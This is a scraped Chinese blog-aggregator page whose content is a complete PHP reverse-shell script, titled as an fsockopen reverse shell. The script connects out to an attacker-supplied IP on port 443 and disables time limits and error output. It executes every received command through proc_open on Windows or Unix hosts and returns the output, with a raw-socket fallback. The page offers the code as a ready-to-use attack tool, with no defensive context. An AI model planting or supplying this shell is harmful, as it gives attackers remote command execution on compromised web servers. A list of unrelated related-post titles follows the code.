zoukankan      html  css  js  c++  java
  • fsockopen反弹shell脚本

    <?php 
    
    error_reporting (E_ERROR);
    ignore_user_abort(true);
    ini_set('max_execution_time',0);
    $os = substr(PHP_OS,0,3);
    $ipaddr = 'x.x.x.x';
    $port = '443';
    $descriptorspec = array(0 => array("pipe","r"),1 => array("pipe","w"),2 => array("pipe","w"));
    $cwd = getcwd();
    $msg = php_uname()."
    ------------Code by Spider-------------
    ";
    if($os == 'WIN') {
        $env = array('path' => 'c:\windows\system32');
    } else {
        $env = array('path' => '/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin');
    }
    
    
    if(function_exists('fsockopen')) {
        $sock = fsockopen($ipaddr,$port);
        fwrite($sock,$msg);
        while ($cmd = fread($sock,1024)) {
            if (substr($cmd,0,3) == 'cd ') {
                $cwd = trim(substr($cmd,3,-1));
                chdir($cwd);
                $cwd = getcwd();
            }
            if (trim(strtolower($cmd)) == 'exit') {
                break;
            } else {
                $process = proc_open($cmd,$descriptorspec,$pipes,$cwd,$env);
                if (is_resource($process)) {
                    fwrite($pipes[0],$cmd);
                    fclose($pipes[0]);
                    $msg = stream_get_contents($pipes[1]);
                    fwrite($sock,$msg);
                    fclose($pipes[1]);
                    $msg = stream_get_contents($pipes[2]);
                    fwrite($sock,$msg);
                    fclose($pipes[2]);
                    proc_close($process);
                }
            }
        }
        fclose($sock);
    } else {
        $sock = socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
        socket_connect($sock,$ipaddr,$port);
        socket_write($sock,$msg);
        fwrite($sock,$msg);
        while ($cmd = socket_read($sock,1024)) {
            if (substr($cmd,0,3) == 'cd ') {
                $cwd = trim(substr($cmd,3,-1));
                chdir($cwd);
                $cwd = getcwd();
            }
            if (trim(strtolower($cmd)) == 'exit') {
                break;
            } else {
                $process = proc_open($cmd,$descriptorspec,$pipes,$cwd,$env);
                if (is_resource($process)) {
                    fwrite($pipes[0],$cmd);
                    fclose($pipes[0]);
                    $msg = stream_get_contents($pipes[1]);
                    socket_write($sock,$msg,strlen($msg));
                    fclose($pipes[1]);
                    $msg = stream_get_contents($pipes[2]);
                    socket_write($sock,$msg,strlen($msg));
                    fclose($pipes[2]);
                    proc_close($process);
                }
            }
        }
        socket_close($sock);
    }
    ?>
  • 相关阅读:
    ES数据-MySql处理Date类型的数据导入处理
    es搜索引擎
    Java Web学习路线
    九樱天下-观察期
    一些平常的总结
    ES搜索引擎-简单入门
    工作中异常的一些总结
    抽象和封装的一点总结
    python之路_django分页及session介绍
    python之路_django中母板及cookie介绍
  • 原文地址:https://www.cnblogs.com/hookjoy/p/11194042.html
Copyright © 2011-2022 走看看